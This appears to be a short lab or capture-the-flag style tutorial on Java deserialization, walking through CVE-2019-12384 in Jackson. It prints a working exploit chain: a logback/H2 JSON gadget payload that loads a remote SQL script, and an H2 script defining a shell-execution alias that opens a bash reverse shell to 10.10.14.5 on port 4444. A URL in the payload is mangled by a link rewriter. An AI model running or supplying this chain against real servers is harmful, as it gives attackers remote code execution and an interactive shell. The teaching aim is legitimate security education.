De Serialization
De Serialization
Deserialization exploits the fact that a website may directly pass user input to a function that
does not check the user input, which may have malicious functions or code.
How it Works
We first need to understand what serialization is.
We can enter some random JSON objects and it would output it as you would expect. If we
enter some weird input, an error like this would appear:
We can see that the website uses Jackson to execute the function. Jackson is vulnerable to CVE-
2019-12384, which is an RCE exploit involving passing this URL as a JSON object to be serialized:
["ch.qos.logback.core.db.DriverManagerConnectionSource",
{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM
'http://localhost:8000/inject.sql'"}]
The payload above exploits SSRF and makes the website request any link of our own, and in this
case, we can run SQL scripts directly through this callback. This would allow us to craft a
malicious SQL Script that would give us a reverse shell.
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new
java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"')
This is one example of how input was not sanitised on the website, and it processed the JSON
object we input although it was only supposed to beautify it.